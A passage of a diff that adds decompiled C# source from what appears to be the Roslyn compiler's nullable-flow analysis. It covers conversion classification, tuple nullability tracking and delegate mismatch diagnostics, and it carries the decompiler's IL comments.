(enumerator.MoveNext()) + { + TypeParameterDiagnosticInfo current = enumerator.Current; + if (current.UseSiteInfo.DiagnosticInfo != null) + { + base.Diagnostics.Add(current.UseSiteInfo.DiagnosticInfo, syntax.Location); + } + } + useSiteDiagnosticsBuilder?.Free(); + instance2.Free(); + instance.Free(); + } + + private static (BoundExpression expression, Conversion conversion) RemoveConversion(BoundExpression expr, bool includeExplicitConversions) + { + ConversionGroup conversionGroup = null; + while (expr.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)expr; + if (conversionGroup != boundConversion.ConversionGroupOpt && conversionGroup != null) + { + break; + } + conversionGroup = boundConversion.ConversionGroupOpt; + if (!includeExplicitConversions && conversionGroup != null && conversionGroup.IsExplicitConversion) + { + return (expression: expr, conversion: Conversion.Identity); + } + expr = boundConversion.Operand; + if (conversionGroup == null) + { + return (expression: expr, conversion: boundConversion.Conversion); + } + } + return (expression: expr, conversion: conversionGroup?.Conversion ?? Conversion.Identity); + } + + private Conversion GenerateConversionForConditionalOperator(BoundExpression sourceExpression, TypeSymbol? sourceType, TypeSymbol destinationType, bool reportMismatch, bool isChecked) + { + Conversion result = GenerateConversion(_conversions, sourceExpression, sourceType, destinationType, fromExplicitCast: false, extensionMethodThisArgument: false, isChecked); + if (!result.Exists && reportMismatch && !sourceExpression.IsSuppressed) + { + ReportNullabilityMismatchInAssignment(sourceExpression.Syntax, GetTypeAsDiagnosticArgument(sourceType), destinationType); + } + return result; + } + + private Conversion GenerateConversion(Conversions conversions, BoundExpression? sourceExpression, TypeSymbol? sourceType, TypeSymbol destinationType, bool fromExplicitCast, bool extensionMethodThisArgument, bool isChecked) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + bool flag = (object)sourceType == null || UseExpressionForConversion(sourceExpression); + if (extensionMethodThisArgument) + { + return conversions.ClassifyImplicitExtensionMethodThisArgConversion(flag ? sourceExpression : null, sourceType, destinationType, ref useSiteInfo); + } + if (!flag) + { + if (!fromExplicitCast) + { + return conversions.ClassifyImplicitConversionFromType(sourceType, destinationType, ref useSiteInfo); + } + return conversions.ClassifyConversionFromType(sourceType, destinationType, isChecked, ref useSiteInfo, forCast: true); + } + if (!fromExplicitCast) + { + return conversions.ClassifyImplicitConversionFromExpression(sourceExpression, destinationType, ref useSiteInfo); + } + return conversions.ClassifyConversionFromExpression(sourceExpression, destinationType, isChecked, ref useSiteInfo, forCast: true); + } + + private bool UseExpressionForConversion([NotNullWhen(true)] BoundExpression? value) + { + if (value == null) + { + return false; + } + if ((object)value.Type == null || value.Type.IsDynamic() || value.ConstantValueOpt != (ConstantValue)null) + { + return true; + } + if (value.Kind == BoundKind.InterpolatedString) + { + return true; + } + if (!_binder.InAttributeArgument && !_binder.InParameterDefaultValue && value.Type.HasInlineArrayAttribute(out var _) && (object)value.Type.TryGetInlineArrayElementField() != null) + { + return true; + } + return false; + } + + private TypeWithState GetAdjustedResult(TypeWithState type, int slot) + { + if (slot > 0) + { + NullableFlowState state = GetState(ref State, slot); + return TypeWithState.Create(type.Type, state); + } + return type; + } + + private static Symbol AsMemberOfType(TypeSymbol? type, Symbol symbol) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Invalid comparison between Unknown and I4 + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Invalid comparison between Unknown and I4 + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Invalid comparison between Unknown and I4 + NamedTypeSymbol namedTypeSymbol = type as NamedTypeSymbol; + if ((object)namedTypeSymbol == null || namedTypeSymbol.IsErrorType() || symbol is ErrorMethodSymbol) + { + return symbol; + } + if ((int)symbol.Kind == 9 && (int)((MethodSymbol)symbol).MethodKind == 17) + { + return symbol; + } + if ((symbol is TupleElementFieldSymbol || symbol is TupleErrorFieldSymbol) ? true : false) + { + return symbol.SymbolAsMember(namedTypeSymbol); + } + NamedTypeSymbol symbolContainer = symbol.ContainingType; + if (symbolContainer.IsAnonymousType) + { + int? num = (((int)symbol.Kind == 15) ? symbol.MemberIndexOpt : ((int?)null)); + if (!num.HasValue) + { + return symbol; + } + return AnonymousTypeManager.GetAnonymousTypeProperty(namedTypeSymbol, num.GetValueOrDefault()); + } + if (!symbolContainer.IsGenericType) + { + return symbol; + } + if (!namedTypeSymbol.IsGenericType) + { + return symbol; + } + if (symbolContainer.IsInterface) + { + if (tryAsMemberOfSingleType(namedTypeSymbol, out var result)) + { + return result; + } + ImmutableArray.Enumerator enumerator = namedTypeSymbol.AllInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (tryAsMemberOfSingleType(enumerator.Current, out result)) + { + return result; + } + } + } + else + { + do + { + if (tryAsMemberOfSingleType(namedTypeSymbol, out var result2)) + { + return result2; + } + namedTypeSymbol = namedTypeSymbol.BaseTypeNoUseSiteDiagnostics; + } + while ((object)namedTypeSymbol != null); + } + return symbol; + bool tryAsMemberOfSingleType(NamedTypeSymbol singleType, [NotNullWhen(true)] out Symbol? reference) + { + if (!singleType.Equals(symbolContainer, (TypeCompareKind)63)) + { + reference = null; + return false; + } + Symbol originalDefinition = symbol.OriginalDefinition; + reference = originalDefinition.SymbolAsMember(singleType); + if (reference is MethodSymbol { IsGenericMethod: not false } methodSymbol) + { + reference = methodSymbol.Construct(((MethodSymbol)symbol).TypeArgumentsWithAnnotations); + } + return true; + } + } + + public override BoundNode? VisitConversion(BoundConversion node) + { + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + TypeWithAnnotations typeWithAnnotations = node.ConversionGroupOpt?.ExplicitType ?? default(TypeWithAnnotations); + bool hasType = typeWithAnnotations.HasType; + TypeWithAnnotations targetTypeWithNullability = (hasType ? typeWithAnnotations : TypeWithAnnotations.Create(node.Type)); + var (boundExpression, conversion) = RemoveConversion(node, includeExplicitConversions: true); + SnapshotWalkerThroughConversionGroup(node, boundExpression); + TypeWithState operandType = VisitRvalueWithState(boundExpression); + SetResultType(node, VisitConversion(node, boundExpression, conversion, targetTypeWithNullability, operandType, checkConversion: true, hasType, hasType, AssignmentKind.Assignment, null, hasType, reportRemainingWarnings: true, extensionMethodThisArgument: false, default(Optional), trackMembers: true)); + return null; + } + + private TypeWithState VisitOptionalImplicitConversion(BoundExpression expr, TypeWithAnnotations targetTypeOpt, bool useLegacyWarnings, bool trackMembers, AssignmentKind assignmentKind) + { + if (!targetTypeOpt.HasType) + { + return VisitRvalueWithState(expr); + } + return VisitOptionalImplicitConversion(expr, targetTypeOpt, useLegacyWarnings, trackMembers, assignmentKind, delayCompletionForTargetType: false).resultType; + } + + private (TypeWithState resultType, Func? completion) VisitOptionalImplicitConversion(BoundExpression expr, TypeWithAnnotations targetTypeOpt, bool useLegacyWarnings, bool trackMembers, AssignmentKind assignmentKind, bool delayCompletionForTargetType) + { + var (boundExpression, conversion) = RemoveConversion(expr, includeExplicitConversions: false); + SnapshotWalkerThroughConversionGroup(expr, boundExpression); + TypeWithState operandType = VisitRvalueWithState(boundExpression); + return visitConversion(expr, targetTypeOpt, useLegacyWarnings, trackMembers, assignmentKind, boundExpression, conversion, operandType, delayCompletionForTargetType); + (TypeWithState resultType, Func? completion) visitConversion(BoundExpression boundExpression2, TypeWithAnnotations typeWithAnnotations, bool useLegacyWarnings2, bool flag2, AssignmentKind assignmentKind2, BoundExpression operand, Conversion conversion2, TypeWithState operandType2, bool flag) + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + if (flag) + { + return (resultType: TypeWithState.Create(typeWithAnnotations), completion: visitConversionAsContinuation(boundExpression2, useLegacyWarnings2, flag2, assignmentKind2, operand, conversion2, operandType2)); + } + bool reportRemainingWarnings = !conversion2.IsExplicit; + BoundConversion? conversionIfApplicable = GetConversionIfApplicable(boundExpression2, operand); + Conversion conversion3 = conversion2; + bool trackMembers2 = flag2; + return (resultType: VisitConversion(conversionIfApplicable, operand, conversion3, typeWithAnnotations, operandType2, checkConversion: true, fromExplicitCast: false, useLegacyWarnings2, assignmentKind2, null, reportTopLevelWarnings: true, reportRemainingWarnings, extensionMethodThisArgument: false, default(Optional), trackMembers2), completion: null); + } + Func visitConversionAsContinuation(BoundExpression expr2, bool useLegacyWarnings2, bool trackMembers2, AssignmentKind assignmentKind2, BoundExpression operand, Conversion conversion2, TypeWithState operandType2) + { + return (TypeWithAnnotations targetTypeOpt2) => visitConversion(expr2, targetTypeOpt2, useLegacyWarnings2, trackMembers2, assignmentKind2, operand, conversion2, operandType2, delayCompletionForTargetType: false).resultType; + } + } + + private static bool AreNullableAndUnderlyingTypes([NotNullWhen(true)] TypeSymbol? nullableTypeOpt, [NotNullWhen(true)] TypeSymbol? underlyingTypeOpt, out TypeWithAnnotations underlyingTypeWithAnnotations) + { + if ((object)nullableTypeOpt != null && nullableTypeOpt.IsNullableType() && (object)underlyingTypeOpt != null && !underlyingTypeOpt.IsNullableType()) + { + TypeWithAnnotations nullableUnderlyingTypeWithAnnotations = nullableTypeOpt.GetNullableUnderlyingTypeWithAnnotations(); + if (nullableUnderlyingTypeWithAnnotations.Type.Equals(underlyingTypeOpt, (TypeCompareKind)63)) + { + underlyingTypeWithAnnotations = nullableUnderlyingTypeWithAnnotations; + return true; + } + } + underlyingTypeWithAnnotations = default(TypeWithAnnotations); + return false; + } + + public override BoundNode? VisitTupleLiteral(BoundTupleLiteral node) + { + VisitTupleExpression(node); + return null; + } + + public override BoundNode? VisitConvertedTupleLiteral(BoundConvertedTupleLiteral node) + { + LocalState state = State.Clone(); + VisitWithoutDiagnostics(node.SourceTuple); + SetState(state); + VisitTupleExpression(node); + return null; + } + + private void VisitTupleExpression(BoundTupleExpression node) + { + ImmutableArray arguments = node.Arguments; + ImmutableArray immutableArray = ImmutableArrayExtensions.SelectAsArray(arguments, (Func)((BoundExpression a, NullableWalker w) => w.VisitRvalueWithState(a)), this); + ImmutableArray newElementTypes = ImmutableArrayExtensions.SelectAsArray(immutableArray, (Func)((TypeWithState a) => a.ToTypeWithAnnotations(compilation))); + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)node.Type; + if ((object)namedTypeSymbol == null) + { + SetResultType(node, TypeWithState.Create(null, NullableFlowState.NotNull)); + return; + } + int orCreatePlaceholderSlot = GetOrCreatePlaceholderSlot(node); + if (orCreatePlaceholderSlot > 0) + { + SetState(ref State, orCreatePlaceholderSlot, NullableFlowState.NotNull); + TrackNullableStateOfTupleElements(orCreatePlaceholderSlot, namedTypeSymbol, arguments, immutableArray, default(ImmutableArray), useRestField: false); + } + namedTypeSymbol = namedTypeSymbol.WithElementTypes(newElementTypes); + if (!_disableDiagnostics) + { + ImmutableArray elementLocations = ImmutableArrayExtensions.SelectAsArray(namedTypeSymbol.TupleElements, (Func)((FieldSymbol element, Location location) => element.TryGetFirstLocation() ?? location), node.Syntax.Location); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + namedTypeSymbol.CheckConstraints(new ConstraintsHelper.CheckConstraintsArgs(compilation, _conversions, includeNullability: true, node.Syntax.Location, null), node.Syntax, elementLocations, instance); + base.Diagnostics.AddRange(((BindingDiagnosticBag)instance).DiagnosticBag); + ((BindingDiagnosticBag)(object)instance).Free(); + } + SetResultType(node, TypeWithState.Create(namedTypeSymbol, NullableFlowState.NotNull)); + } + + private void TrackNullableStateOfTupleElements(int slot, NamedTypeSymbol tupleType, ImmutableArray values, ImmutableArray types, ImmutableArray argsToParamsOpt, bool useRestField) + { + if (slot > 0) + { + ImmutableArray tupleElements = tupleType.TupleElements; + int num = values.Length; + if (useRestField) + { + num = Math.Min(num, 7); + } + for (int i = 0; i < num; i++) + { + int index = getArgumentOrdinalFromParameterOrdinal(i); + trackState(values[index], tupleElements[i], types[index]); + } + if (useRestField && values.Length == 8 && tupleType.GetMembers("Rest").FirstOrDefault() is FieldSymbol field) + { + int index2 = getArgumentOrdinalFromParameterOrdinal(7); + trackState(values[index2], field, types[index2]); + } + } + int getArgumentOrdinalFromParameterOrdinal(int parameterOrdinal) + { + if (!argsToParamsOpt.IsDefault) + { + return argsToParamsOpt.IndexOf(parameterOrdinal); + } + return parameterOrdinal; + } + void trackState(BoundExpression value, FieldSymbol fieldSymbol, TypeWithState valueType) + { + int orCreateSlot = GetOrCreateSlot(fieldSymbol, slot); + TrackNullableStateForAssignment(value, fieldSymbol.TypeWithAnnotations, orCreateSlot, valueType, MakeSlot(value)); + } + } + + private void TrackNullableStateOfNullableValue(int containingSlot, TypeSymbol containingType, BoundExpression? value, TypeWithState valueType, int valueSlot) + { + Symbol valueProperty; + int nullableOfTValueSlot = GetNullableOfTValueSlot(containingType, containingSlot, out valueProperty); + if (nullableOfTValueSlot > 0) + { + TrackNullableStateForAssignment(value, valueProperty.GetTypeOrReturnType(), nullableOfTValueSlot, valueType, valueSlot); + } + } + + private void TrackNullableStateOfTupleConversion(BoundConversion? conversionOpt, BoundExpression convertedNode, Conversion conversion, TypeSymbol targetType, TypeSymbol operandType, int slot, int valueSlot, AssignmentKind assignmentKind, ParameterSymbol? parameterOpt, bool reportWarnings) + { + if (operandType is NamedTypeSymbol { IsTupleType: not false } namedTypeSymbol) + { + ImmutableArray underlyingConversions = conversion.UnderlyingConversions; + ImmutableArray tupleElements = ((NamedTypeSymbol)targetType).TupleElements; + ImmutableArray tupleElements2 = namedTypeSymbol.TupleElements; + int length = tupleElements2.Length; + for (int i = 0; i < length; i++) + { + trackConvertedValue(tupleElements[i], underlyingConversions[i], tupleElements2[i]); + } + } + void trackConvertedValue(FieldSymbol targetField, Conversion conversion2, FieldSymbol valueField) + { + switch (conversion2.Kind) + { + case ConversionKind.Identity: + case ConversionKind.NullLiteral: + case ConversionKind.ImplicitReference: + case ConversionKind.Boxing: + case ConversionKind.ExplicitReference: + case ConversionKind.Unboxing: + case ConversionKind.DefaultLiteral: + InheritNullableStateOfMember(slot, valueSlot, valueField, isDefaultValue: false, slot); + break; + case ConversionKind.ImplicitTupleLiteral: + case ConversionKind.ImplicitTuple: + case ConversionKind.ExplicitTupleLiteral: + case ConversionKind.ExplicitTuple: + { + int orCreateSlot4 = GetOrCreateSlot(targetField, slot); + if (orCreateSlot4 > 0) + { + SetState(ref State, orCreateSlot4, NullableFlowState.NotNull); + int orCreateSlot5 = GetOrCreateSlot(valueField, valueSlot); + if (orCreateSlot5 > 0) + { + TrackNullableStateOfTupleConversion(conversionOpt, convertedNode, conversion2, targetField.Type, valueField.Type, orCreateSlot4, orCreateSlot5, assignmentKind, parameterOpt, reportWarnings); + } + } + break; + } + case ConversionKind.ImplicitNullable: + case ConversionKind.ExplicitNullable: + { + if (AreNullableAndUnderlyingTypes(targetField.Type, valueField.Type, out var _)) + { + int orCreateSlot2 = GetOrCreateSlot(targetField, slot); + if (orCreateSlot2 > 0) + { + SetState(ref State, orCreateSlot2, NullableFlowState.NotNull); + int orCreateSlot3 = GetOrCreateSlot(valueField, valueSlot); + if (orCreateSlot3 > 0) + { + TrackNullableStateOfNullableValue(orCreateSlot2, targetField.Type, null, valueField.TypeWithAnnotations.ToTypeWithState(), orCreateSlot3); + } + } + } + break; + } + case ConversionKind.ImplicitUserDefined: + case ConversionKind.ExplicitUserDefined: + { + TypeWithState typeWithState = VisitUserDefinedConversion(conversionOpt, convertedNode, conversion2, targetField.TypeWithAnnotations, valueField.TypeWithAnnotations.ToTypeWithState(), useLegacyWarnings: false, assignmentKind, parameterOpt, reportWarnings, reportWarnings, (conversionOpt ?? convertedNode).Syntax.GetLocation()); + int orCreateSlot = GetOrCreateSlot(targetField, slot); + if (orCreateSlot > 0) + { + SetState(ref State, orCreateSlot, typeWithState.State); + } + break; + } + } + } + } + + public override BoundNode? VisitTupleBinaryOperator(BoundTupleBinaryOperator node) + { + base.VisitTupleBinaryOperator(node); + SetNotNullResult(node); + return null; + } + + private void ReportNullabilityMismatchWithTargetDelegate(Location location, TypeSymbol targetType, MethodSymbol targetInvokeMethod, MethodSymbol sourceInvokeMethod, bool invokedAsExtensionMethod) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + SourceMemberContainerTypeSymbol.CheckValidNullableMethodOverride(compilation, targetInvokeMethod, sourceInvokeMethod, instance, reportBadDelegateReturn, reportBadDelegateParameter, (targetType, location), invokedAsExtensionMethod); + base.Diagnostics.AddRange(((BindingDiagnosticBag)instance).DiagnosticBag); + ((BindingDiagnosticBag)(object)instance).Free(); + void reportBadDelegateParameter(BindingDiagnosticBag bag, MethodSymbol methodSymbol, MethodSymbol methodSymbol2, ParameterSymbol parameter, bool topLevel, (TypeSymbol targetType, Location location) arg) + { + ReportDiagnostic(ErrorCode.WRN_NullabilityMismatchInParameterTypeOfTargetDelegate, arg.location, GetParameterAsDiagnosticArgument(parameter), GetContainingSymbolAsDiagnosticArgument(parameter), arg.targetType); + } + void reportBadDelegateReturn(BindingDiagnosticBag bag, MethodSymbol methodSymbol2, MethodSymbol methodSymbol, bool topLevel, (TypeSymbol targetType, Location location) arg) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected O, but got Unknown + ReportDiagnostic(ErrorCode.WRN_NullabilityMismatchInReturnTypeOfTargetDelegate, arg.location, (object)new FormattedSymbol((ISymbolInternal)(object)methodSymbol, SymbolDisplayFormat.MinimallyQualifiedFormat), arg.targetType); + } + } + + private void ReportNullabilityMismatchWithTargetDelegate(Location location, NamedTypeSymbol delegateType, BoundLambda lambda) + { + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol delegateInvokeMethod = delegateType.DelegateInvokeMethod; + LambdaSymbol symbol = lambda.Symbol; + UnboundLambda unboundLambda = lambda.UnboundLambda; + if ((object)delegateInvokeMethod != null && delegateInvokeMethod.ParameterCount == symbol.ParameterCount) + { + if (lambda.Syntax is LambdaExpressionSyntax lambdaExpressionSyntax) + { + int spanStart = ((SyntaxNode)lambdaExpressionSyntax).SpanStart; + SyntaxTree syntaxTree = lambdaExpressionSyntax.SyntaxTree; + SyntaxToken arrowToken = lambdaExpressionSyntax.ArrowToken; + TextSpan span = ((SyntaxToken)(ref arrowToken)).Span; + location = Location.Create(syntaxTree, new TextSpan(spanStart, ((TextSpan)(ref span)).End - spanStart)); + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + if (SourceMemberContainerTypeSymbol.CheckValidNullableMethodOverride(compilation, delegateInvokeMethod, symbol, instance, reportBadDelegateReturn, reportBadDelegateParameter, location)) + { + base.Diagnostics.AddRange(((BindingDiagnosticBag)instance).DiagnosticBag); + ((BindingDiagnosticBag)(object)instance).Free(); + } + else + { + SourceMemberContainerTypeSymbol.CheckValidNullableMethodOverride(compilation, symbol, delegateInvokeMethod, instance, reportBadDelegateReturn, reportBadDelegateParameter, location); + base.Diagnostics.AddRange(((BindingDiagnosticBag)instance).DiagnosticBag); + ((BindingDiagnosticBag)(object)instance).Free(); + } + } + void reportBadDelegateParameter(BindingDiagnosticBag bag, MethodSymbol sourceInvokeMethod, MethodSymbol targetInvokeMethod, ParameterSymbol parameterSymbol, bool topLevel, Location location2) + { + if (unboundLambda.HasSignature) + { + ReportDiagnostic(ErrorCode.WRN_NullabilityMismatchInParameterTypeOfTargetDelegate, location2, unboundLambda.ParameterName(parameterSymbol.Ordinal), unboundLambda.MessageID.Localize(), delegateType); + } + } + void reportBadDelegateReturn(BindingDiagnosticBag bag, MethodSymbol targetInvokeMethod, MethodSymbol sourceInvokeMethod, bool topLevel, Location location2) + { + ReportDiagnostic(ErrorCode.WRN_NullabilityMismatchInReturnTypeOfTargetDelegate, location2, unboundLambda.MessageID.Localize(), delegateType); + } + } + + private static BoundConversion? GetConversionIfApplicable(BoundExpression? conversionOpt, BoundExpression convertedNode) + { + if (conversionOpt != convertedNode) + { + return (BoundConversion)conversionOpt; + } + return null; + } + + private TypeWithState VisitConversion(BoundConversion? conversionOpt, BoundExpression conversionOperand, Conversion conversion, TypeWithAnnotations targetTypeWithNullability, TypeWithState operandType, bool checkConversion, bool fromExplicitCast, bool useLegacyWarnings, AssignmentKind assignmentKind, ParameterSymbol? parameterOpt = null, bool reportTopLevelWarnings = true, bool reportRemainingWarnings = true, bool extensionMethodThisArgument = false, Optional stateForLambda = default(Optional), bool trackMembers = false, Location? diagnosticLocation = null, ArrayBuilder? previousArgumentConversionResults = null) + { + //IL_024b: Unknown result type (might be due to invalid IL or missing references) + if (IsTargetTypedExpression(conversionOperand) && ((Dictionary>)(object)TargetTypedAnalysisCompletion).TryGetValue(conversionOperand, out Func value)) + { + ((Dictionary>)(object)TargetTypedAnalysisCompletion).Remove(conversionOperand); + if (conversionOperand is BoundObjectCreationExpressionBase && targetTypeWithNullability.IsNullableType()) + { + operandType = value(targetTypeWithNullability.Type.GetNullableUnderlyingTypeWithAnnotations()); + conversion = Conversion.MakeNullableConversion(ConversionKind.ImplicitNullable, Conversion.Identity); + } + else + { + operandType = value(targetTypeWithNullability); + } + } + NullableFlowState resultState = NullableFlowState.NotNull; + bool flag = true; + bool isSuppressed = false; + if (conversionOperand.IsSuppressed) + { + reportTopLevelWarnings = false; + reportRemainingWarnings = false; + isSuppressed = true; + } + TypeSymbol type = targetTypeWithNullability.Type; + switch (conversion.Kind) + { + case ConversionKind.MethodGroup: + { + BoundMethodGroup boundMethodGroup = conversionOperand as BoundMethodGroup; + (MethodSymbol invokeSignature, ImmutableArray) tuple = getDelegateOrFunctionPointerInfo(type); + MethodSymbol item = tuple.invokeSignature; + ImmutableArray item2 = tuple.Item2; + MethodSymbol methodSymbol = conversion.Method; + if (boundMethodGroup != null) + { + if (methodSymbol?.OriginalDefinition is LocalFunctionSymbol symbol) + { + VisitLocalFunctionUse(symbol); + } + methodSymbol = CheckMethodGroupReceiverNullability(boundMethodGroup, item2, methodSymbol, conversion.IsExtensionMethod); + } + if (reportRemainingWarnings && item != null) + { + ReportNullabilityMismatchWithTargetDelegate(getDiagnosticLocation(), type, item, methodSymbol, conversion.IsExtensionMethod); + } + resultState = NullableFlowState.NotNull; + break; + } + case ConversionKind.AnonymousFunction: + if (conversionOperand is BoundLambda boundLambda) + { + NamedTypeSymbol delegateType = type.GetDelegateType(); + VisitLambda(boundLambda, delegateType, stateForLambda); + if (reportRemainingWarnings && (object)delegateType != null) + { + ReportNullabilityMismatchWithTargetDelegate(getDiagnosticLocation(), delegateType, boundLambda); + } + TrackAnalyzedNullabilityThroughConversionGroup(targetTypeWithNullability.ToTypeWithState(), conversionOpt, conversionOperand); + return TypeWithState.Create(type, NullableFlowState.NotNull); + } + break; + case ConversionKind.FunctionType: + resultState = NullableFlowState.NotNull; + break; + case ConversionKind.InterpolatedString: + resultState = NullableFlowState.NotNull; + break; + case ConversionKind.InterpolatedStringHandler: + visitInterpolatedStringHandlerConstructor(); + resultState = NullableFlowState.NotNull; + break; + case ConversionKind.SwitchExpression: + case ConversionKind.ConditionalExpression: + case ConversionKind.ObjectCreation: + case ConversionKind.CollectionExpression: + resultState = getConversionResultState(operandType); + break; + case ConversionKind.ImplicitUserDefined: + case ConversionKind.ExplicitUserDefined: + return VisitUserDefinedConversion(conversionOpt, conversionOperand, conversion, targetTypeWithNullability, operandType, useLegacyWarnings, assignmentKind, parameterOpt, reportTopLevelWarnings, reportRemainingWarnings, getDiagnosticLocation()); + case ConversionKind.ImplicitDynamic: + case ConversionKind.ExplicitDynamic: + resultState = getConversionResultState(operandType); + break; + case ConversionKind.Boxing: + resultState = getBoxingConversionResultState(targetTypeWithNullability, operandType); + break; + case ConversionKind.Unboxing: + if (type.IsNonNullableValueType()) + { + if (!operandType.IsNotNull && reportRemainingWarnings) + { + ReportDiagnostic(ErrorCode.WRN_UnboxPossibleNull, getDiagnosticLocation()); + } + LearnFromNonNullTest(conversionOperand, ref State); + } + else + { + resultState = getUnboxingConversionResultState(operandType); + } + break; + case ConversionKind.ImplicitThrow: + resultState = NullableFlowState.NotNull; + break; + case ConversionKind.NoConversion: + resultState = getConversionResultState(operandType); + break; + case ConversionKind.NullLiteral: + case ConversionKind.DefaultLiteral: + checkConversion = false; + goto case ConversionKind.Identity; + case ConversionKind.Identity: + { + if (useLegacyWarnings && conversionOperand is BoundConversion boundConversion && !boundConversion.ConversionKind.IsUserDefinedConversion()) + { + TypeWithAnnotations? typeWithAnnotations = boundConversion.ConversionGroupOpt?.ExplicitType; + if (typeWithAnnotations.HasValue && typeWithAnnotations.GetValueOrDefault().Equals(targetTypeWithNullability, (TypeCompareKind)0)) + { + TrackAnalyzedNullabilityThroughConversionGroup(calculateResultType(targetTypeWithNullability, fromExplicitCast, operandType.State, isSuppressed, type), conversionOpt, conversionOperand); + return operandType; + } + } + TypeSymbol? type3 = operandType.Type; + if (((object)type3 == null || !type3.IsTupleType) && conversionOperand.Kind != BoundKind.TupleLiteral) + { + goto case ConversionKind.ImplicitReference; + } + goto case ConversionKind.ImplicitTupleLiteral; + } + case ConversionKind.ImplicitReference: + case ConversionKind.ExplicitReference: + if (checkConversion) + { + conversion = GenerateConversion(_conversions, conversionOperand, operandType.Type, type, fromExplicitCast, extensionMethodThisArgument, conversionOpt?.Checked ?? false); + flag = conversion.Exists; + } + resultState = (conversion.IsReference ? getReferenceConversionResultState(targetTypeWithNullability, operandType) : operandType.State); + break; + case ConversionKind.ImplicitNullable: + { + if (trackMembers && AreNullableAndUnderlyingTypes(type, operandType.Type, out var underlyingTypeWithAnnotations)) + { + int num2 = MakeSlot(conversionOperand); + if (num2 > 0) + { + int orCreatePlaceholderSlot2 = GetOrCreatePlaceholderSlot(conversionOpt); + TrackNullableStateOfNullableValue(orCreatePlaceholderSlot2, type, conversionOperand, underlyingTypeWithAnnotations.ToTypeWithState(), num2); + } + } + if (checkConversion) + { + conversion = GenerateConversion(_conversions, conversionOperand, operandType.Type, type, fromExplicitCast, extensionMethodThisArgument, conversionOpt?.Checked ?? false); + flag = conversion.Exists; + } + resultState = operandType.State; + break; + } + case ConversionKind.ExplicitNullable: + { + TypeSymbol? type2 = operandType.Type; + if ((object)type2 != null && type2.IsNullableType() && !type.IsNullableType()) + { + if (reportTopLevelWarnings && operandType.MayBeNull) + { + ReportDiagnostic(ErrorCode.WRN_NullableValueTypeMayBeNull, getDiagnosticLocation()); + } + if (conversionOperand != null) + { + LearnFromNonNullTest(conversionOperand, ref State); + } + } + goto case ConversionKind.ImplicitNullable; + } + case ConversionKind.ImplicitTupleLiteral: + case ConversionKind.ImplicitTuple: + case ConversionKind.ExplicitTupleLiteral: + case ConversionKind.ExplicitTuple: + if (trackMembers) + { + ConversionKind kind = conversion.Kind; + if (kind == ConversionKind.ImplicitTuple || kind == ConversionKind.ExplicitTuple) + { + int num = MakeSlot(conversionOperand); + if (num > 0) + { + int orCreatePlaceholderSlot = GetOrCreatePlaceholderSlot(conversionOpt); + if (orCreatePlaceholderSlot > 0) + { + TrackNullableStateOfTupleConversion(conversionOpt, conversionOperand, conversion, type, operandType.Type, orCreatePlaceholderSlot, num, assignmentKind, parameterOpt, reportRemainingWarnings); + } + } + } + } + if (checkConversion && !type.IsErrorType()) + { + conversion = GenerateConversion(_conversions, conversionOperand, operandType.Type, type, fromExplicitCast, extensionMethodThisArgument, conversionOpt?.Checked ?? false); + flag = conversion.Exists; + } + resultState = NullableFlowState.NotNull; + break; + case ConversionKind.InlineArray: + if (checkConversion) + { + conversion = GenerateConversion(_conversions, conversionOperand, operandType.Type, type, fromExplicitCast, extensionMethodThisArgument, conversionOpt?.Checked ?? false); + flag = conversion.Exists; + } + break; + } + TypeWithState typeWithState = calculateResultType(targetTypeWithNullability, fromExplicitCast, resultState, isSuppressed, type); + if (!conversionOperand.HasErrors && !type.IsErrorType()) + { + if (reportTopLevelWarnings) + { + ReportNullableAssignmentIfNecessary(conversionOperand, targetTypeWithNullability, typeWithState, useLegacyWarnings, assignmentKind, parameterOpt, getDiagnosticLocation()); + } + if (reportRemainingWarnings && !flag) + { + if (assignmentKind == AssignmentKind.Argument) + { + ReportNullabilityMismatchInArgument(getDiagnosticLocation(), operandType.Type, parameterOpt, type, forOutput: false); + } + else + { + ReportNullabilityMismatchInAssignment(getDiagnosticLocation(), GetTypeAsDiagnosticArgument(operandType.Type), type); + } + } + } + TrackAnalyzedNullabilityThroughConversionGroup(typeWithState, conversionOpt, conversionOperand); + return typeWithState; + static TypeWithState calculateResultType(TypeWithAnnotations typeWithAnnotations2, bool flag3, NullableFlowState defaultState, bool flag2, TypeSymbol targetType) + { + if (flag2) + { + defaultState = NullableFlowState.NotNull; + } + else if (flag3 && typeWithAnnotations2.NullableAnnotation.IsAnnotated() && !targetType.IsNullableType()) + { + defaultState = (((object)targetType == null || !targetType.IsTypeParameterDisallowingAnnotationInCSharp8()) ? NullableFlowState.MaybeNull : NullableFlowState.MaybeDefault); + } + return TypeWithState.Create(targetType, defaultState); + } + static bool dependsOnTypeParameter(TypeParameterSymbol typeParameter1, TypeParameterSymbol typeParameter2, NullableAnnotation typeParameter1Annotation, out NullableAnnotation annotation) + { + if (typeParameter1.Equals(typeParameter2, (TypeCompareKind)63)) + { + annotation = typeParameter1Annotation; + return true; + } + bool flag2 = false; + NullableAnnotation a = NullableAnnotation.Annotated; + ImmutableArray.Enumerator enumerator = 